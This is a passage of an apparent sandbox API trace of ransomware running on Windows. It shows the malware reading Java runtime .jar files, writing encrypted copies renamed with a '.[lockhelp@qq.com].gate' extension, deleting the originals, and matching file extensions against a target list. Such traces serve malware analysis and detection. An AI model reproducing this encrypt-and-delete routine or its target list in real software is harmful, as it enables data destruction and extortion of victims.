Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.447] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.447] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.447] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0293.448] GetLastError () returned 0x0 [0293.448] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x205e, lpOverlapped=0x0) returned 1 [0293.528] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2060, lpOverlapped=0x0) returned 1 [0293.529] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.529] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0293.529] SetEndOfFile (hFile=0x52c) returned 1 [0293.595] CloseHandle (hObject=0x52c) returned 1 [0293.595] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.595] SetEndOfFile (hFile=0x4f0) returned 1 [0293.597] CloseHandle (hObject=0x4f0) returned 1 [0293.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.597] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0293.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.598] lstrlenW (lpString=".doc") returned 4 [0293.598] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.598] lstrlenW (lpString=".docx") returned 5 [0293.598] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0293.598] lstrlenW (lpString=".pdf") returned 4 [0293.598] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.598] lstrlenW (lpString=".xls") returned 4 [0293.598] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.598] lstrlenW (lpString=".xlsx") returned 5 [0293.598] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0293.598] lstrlenW (lpString=".ppt") returned 4 [0293.598] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.598] lstrlenW (lpString=".zip") returned 4 [0293.598] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.598] lstrlenW (lpString=".rar") returned 4 [0293.598] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.598] lstrlenW (lpString=".bz2") returned 4 [0293.598] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.598] lstrlenW (lpString=".7z") returned 3 [0293.598] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.598] lstrlenW (lpString=".dbf") returned 4 [0293.598] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.598] lstrlenW (lpString=".1cd") returned 4 [0293.598] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.598] lstrlenW (lpString=".jpg") returned 4 [0293.598] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.598] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.599] lstrlenW (lpString=".doc") returned 4 [0293.599] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.599] lstrlenW (lpString=".docx") returned 5 [0293.599] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0293.599] lstrlenW (lpString=".pdf") returned 4 [0293.599] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.599] lstrlenW (lpString=".xls") returned 4 [0293.599] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.599] lstrlenW (lpString=".xlsx") returned 5 [0293.599] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0293.599] lstrlenW (lpString=".ppt") returned 4 [0293.599] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.599] lstrlenW (lpString=".zip") returned 4 [0293.599] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.599] lstrlenW (lpString=".rar") returned 4 [0293.599] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.599] lstrlenW (lpString=".bz2") returned 4 [0293.599] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.599] lstrlenW (lpString=".7z") returned 3 [0293.599] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.599] lstrlenW (lpString=".dbf") returned 4 [0293.599] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.599] lstrlenW (lpString=".1cd") returned 4 [0293.599] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0293.599] lstrlenW (lpString=".jpg") returned 4 [0293.599] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.600] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.600] lstrlenW (lpString="nashorn.jar") returned 11 [0293.600] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.600] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2022734) returned 1 [0293.600] CloseHandle (hObject=0x4f0) returned 1 [0293.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0293.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.601] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0293.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.601] lstrlenW (lpString=".doc") returned 4 [0293.601] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.601] lstrlenW (lpString=".docx") returned 5 [0293.601] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0293.601] lstrlenW (lpString=".pdf") returned 4 [0293.601] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.601] lstrlenW (lpString=".xls") returned 4 [0293.601] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.601] lstrlenW (lpString=".xlsx") returned 5 [0293.601] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0293.601] lstrlenW (lpString=".ppt") returned 4 [0293.601] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.601] lstrlenW (lpString=".zip") returned 4 [0293.601] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.601] lstrlenW (lpString=".rar") returned 4 [0293.601] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.601] lstrlenW (lpString=".bz2") returned 4 [0293.601] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.601] lstrlenW (lpString=".7z") returned 3 [0293.601] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.601] lstrlenW (lpString=".dbf") returned 4 [0293.602] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.602] lstrlenW (lpString=".1cd") returned 4 [0293.602] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.602] lstrlenW (lpString=".jpg") returned 4 [0293.602] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.602] lstrlenW (lpString=".doc") returned 4 [0293.602] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.602] lstrlenW (lpString=".docx") returned 5 [0293.602] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0293.602] lstrlenW (lpString=".pdf") returned 4 [0293.602] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.602] lstrlenW (lpString=".xls") returned 4 [0293.602] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.602] lstrlenW (lpString=".xlsx") returned 5 [0293.602] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0293.602] lstrlenW (lpString=".ppt") returned 4 [0293.602] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.602] lstrlenW (lpString=".zip") returned 4 [0293.602] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.602] lstrlenW (lpString=".rar") returned 4 [0293.602] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.602] lstrlenW (lpString=".bz2") returned 4 [0293.602] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.602] lstrlenW (lpString=".7z") returned 3 [0293.602] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.602] lstrlenW (lpString=".dbf") returned 4 [0293.602] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.602] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.603] lstrlenW (lpString=".1cd") returned 4 [0293.603] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.603] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0293.603] lstrlenW (lpString=".jpg") returned 4 [0293.603] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.603] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.603] lstrlenW (lpString="sunec.jar") returned 9 [0293.603] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.604] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=42185) returned 1 [0293.604] CloseHandle (hObject=0x4f0) returned 1 [0293.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0293.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.604] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.605] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.605] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.605] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0293.605] GetLastError () returned 0x0 [0293.605] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0xa4c9, lpOverlapped=0x0) returned 1 [0293.643] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xa4d0, lpOverlapped=0x0) returned 1 [0293.645] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0293.645] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xe6, lpOverlapped=0x0) returned 1 [0293.645] SetEndOfFile (hFile=0x52c) returned 1 [0293.645] CloseHandle (hObject=0x52c) returned 1 [0293.645] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.645] SetEndOfFile (hFile=0x4f0) returned 1 [0293.649] CloseHandle (hObject=0x4f0) returned 1 [0293.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.650] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1 [0293.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.650] lstrlenW (lpString=".doc") returned 4 [0293.650] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.650] lstrlenW (lpString=".docx") returned 5 [0293.650] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0293.650] lstrlenW (lpString=".pdf") returned 4 [0293.650] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.650] lstrlenW (lpString=".xls") returned 4 [0293.650] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.650] lstrlenW (lpString=".xlsx") returned 5 [0293.650] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0293.650] lstrlenW (lpString=".ppt") returned 4 [0293.650] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.650] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.650] lstrlenW (lpString=".zip") returned 4 [0293.650] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.650] lstrlenW (lpString=".rar") returned 4 [0293.651] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.651] lstrlenW (lpString=".bz2") returned 4 [0293.651] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.651] lstrlenW (lpString=".7z") returned 3 [0293.651] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.651] lstrlenW (lpString=".dbf") returned 4 [0293.651] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.651] lstrlenW (lpString=".1cd") returned 4 [0293.651] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.651] lstrlenW (lpString=".jpg") returned 4 [0293.651] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.651] lstrlenW (lpString=".doc") returned 4 [0293.651] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0293.651] lstrlenW (lpString=".docx") returned 5 [0293.651] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1 [0293.651] lstrlenW (lpString=".pdf") returned 4 [0293.651] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0293.651] lstrlenW (lpString=".xls") returned 4 [0293.651] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0293.651] lstrlenW (lpString=".xlsx") returned 5 [0293.651] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1 [0293.651] lstrlenW (lpString=".ppt") returned 4 [0293.651] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0293.651] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.651] lstrlenW (lpString=".zip") returned 4 [0293.651] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0293.651] lstrlenW (lpString=".rar") returned 4 [0293.651] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0293.651] lstrlenW (lpString=".bz2") returned 4 [0293.652] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0293.652] lstrlenW (lpString=".7z") returned 3 [0293.652] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0293.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.652] lstrlenW (lpString=".dbf") returned 4 [0293.652] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0293.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.652] lstrlenW (lpString=".1cd") returned 4 [0293.652] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0293.652] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52 [0293.652] lstrlenW (lpString=".jpg") returned 4 [0293.652] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0293.652] lstrcmpiW (lpString1=".jar", lpString2=".gate") returned 1 [0293.652] lstrlenW (lpString="sunmscapi.jar") returned 13 [0293.652] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.652] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=32699) returned 1 [0293.652] CloseHandle (hObject=0x4f0) returned 1 [0293.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0293.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.653] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0293.653] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.653] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0293.653] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0293.653] GetLastError () returned 0x0 [0293.653] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0294.099] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0294.100] ReadFile (in: hFile=0x4f0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.100] WriteFile (in: hFile=0x52c, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0xee, lpOverlapped=0x0) returned 1 [0294.100] SetEndOfFile (hFile=0x52c) returned 1 [0294.100] CloseHandle (hObject=0x52c) returned 1 [0294.100] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.100] SetEndOfFile (hFile=0x4f0) returned 1 [0294.102] CloseHandle (hObject=0x4f0) returned 1 [0294.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0294.103] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0294.103] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0294.104] lstrlenW (lpString=".doc") returned 4 [0294.104] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0294.104] lstrlenW (lpString=".docx") returned 5 [0294.104] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0294.104] lstrlenW (lpString=".pdf") returned 4 [0294.104] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0294.104] lstrlenW (lpString=".xls") returned 4 [0294.104] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0294.104] lstrlenW (lpString=".xlsx") returned 5 [0294.104] lstrcmpiW 